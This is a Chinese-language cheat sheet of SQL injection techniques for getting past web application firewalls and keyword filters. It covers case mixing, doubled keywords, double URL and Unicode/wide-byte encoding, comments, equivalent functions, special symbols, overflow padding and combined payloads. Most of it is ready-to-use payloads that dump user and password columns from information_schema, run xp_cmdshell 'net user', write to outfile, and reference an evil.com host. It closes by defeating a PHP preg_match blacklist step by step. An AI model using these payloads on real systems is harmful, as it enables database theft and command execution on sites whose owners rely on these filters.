SQL注入下的bypass

1
2
3
4
5
6
7
8
1) 大小写混合 
2)替换关键字
3)使用编码
4)使用注释
5)等价函数与命令
6)使用特殊符号
7)缓冲区溢出
8)整合绕过

a) 大小写绕过

1
2
3
大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过这是最简单的绕过技术

z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

b)替换关键字

1
2
3
4
这种情况下大小写转化无法绕过而且正则表达式会替换或删除select、union这些关键字如果只匹配一次就很容易绕过

z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
替换关键字同样是很基础的技术也可以构造得更复杂SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了

c)使用编码

1
2
3
4
5
在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29

普通的URL编码可能无法实现绕过不过存在某种情况URL编码只进行了一次解码过滤可以用两次编码绕过

page.php?id=1%252f%252a*/UNION%252f%252a/SELECT

2.十六进制编码

1
2
z.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中前者是对单个字符十六进制编码后者则是对整个字符串编码对整个字符串编码相对来说较少见一点

3.Unicode编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所使用的就是非标准编码了

看一下常用的几个符号的一些Unicode编码

单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7

空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0

左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8

右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9

举例:

?id=10%D6'%20AND%201=2%23  

SELECT '?'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常使用。

第二个示例使用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理所以情况,从而实现绕过。

d) 使用注释

1
2
3
看一下常见的用于注释的符号有哪些

//, -- , /**/, #, --+,-- -, ;--a

1.普通注释

1
2
3
z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4
'union%a0select pass from users#
/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、--+用于终结语句的查询

2.内联注释

1
2
3
4
5
相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他 

index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3
?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…
两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用。

e)等价函数与命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
有些函数或命令因其关键字被检测出来而无法使用但是在很多情况下可以使用与之等价或类似的代码替代其使用

1.函数或变量

hex()、bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()、substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()
举例substring()和substr()无法使用时

?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 
或者

substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

2.符号

and和or有可能不能使用可以试下&&和||能不能用还有=不能使用的情况可以考虑尝试<、>因为如果不小于又不大于那便是等于了

再看一下用得很多的空格可以使用如下符号代替其使用

%20 %09 %0a %0b %0c %0d %a0 /**/
3.生僻函数

MySQL/PostgreSQL支持XML函数

Select UpdateXML(' ','/script/@x/','src=//evil.com');
?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))
SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql
?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适合处理已知的情况

f) 特殊符号

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

1.使用反引号,例如selectversion()`,可以用来过空格和正则,特殊情况下还可以将其做注释符用

2.神奇的"-+.",select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤

3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量

4.Mysql function() as xxx 也可不用as和空格   select-count(id)test from users; //绕过空格限制

`、~、!、@、%、()、[]、.、-、+ 、|、%00

举例

关键字拆分

'se'+'lec'+'t'

%S%E%L%E%C%T 1

1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')

!和()' or --+2=- -!!!'2

id=1+(UnI)(oN)+(SeL)(EcT)

//有看到说Access中,”[]”用于表和列,”()”用于数值也可以做分隔


>>, <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
使用这些"特殊符号"实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分了解这些符号的特性和使用方法才能会考虑利用其实现绕过

g) 缓冲区溢出(Advanced)

1
2
3
4
5
6
7
缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C语言写的而C语言自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过

举例

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

示例0xA*1000指0xA后面”A"重复1000次一般来说对应用软件构成缓冲区溢出都需要较大的测试长度这里1000只做参考也许在有些情况下可能不需要这么长也能溢出

i) 整合绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
整合的意思是结合使用前面谈到的各种绕过技术单一的技术可能无法绕过过滤机制但是多种技术的配合使用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技术的使用创造了更多的可能性组合除非每一种技术单独都无法使用否则它们能产生比自身大得多的能量。

举例

z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/!uNIOn/+/!SeLECt/+1,2,3,4…

id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables /*!WHERE /+/!TaBlE_ScHeMa*/+like+database()– -

?id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--

0x03 SQLi Filter的实现及Evasion

SQL Injection时用得最多的一些关键字如下

and, or, union, where, limit, group by, select, ', hex, substr, white space

对它们的检测完整正则表达式为

preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)

and => &&   or => ||

union select user, password from users   =>  1 || (select user from users where user_id = 1) = 'admin

1 || (select user from users where user_id = 1) = 'admin'  =>  1 || (select user from users limit 1) = 'admin

1 || (select user from users limit 1) = 'admin' =>  1 || (select user from users group by user_id having user_id = 1) = 'admin'

1 || (select user from users group by user_id having user_id = 1) = 'admin' => 1 || (select substr(group_concat(user_id),1,1) user from users )=1

1 || (select substr(group_concat(user_id),1,1) user from users) = 1 => 1 || 1 = 1 into outfile 'result.txt' 或者 1 || substr(user,1,1) = 'a' 

1 || (select substr(group_concat(user_id),1,1) user from users) = 1  =>  1 || user_id is not null 或者 1 || substr(user,1,1) = 0x61

   或者 1 || substr(user,1,1) = unhex(61) 

1 || substr(user,1,1) = unhex(61)  => 1 || substr(user,1,1) = lower(conv(11,10,36))

1 || substr(user,1,1) = lower(conv(11,10,36)) =>  1 || lpad(user,7,1)

1 || lpad(user,7,1)  =>  1%0b||%0blpad(user,7,1)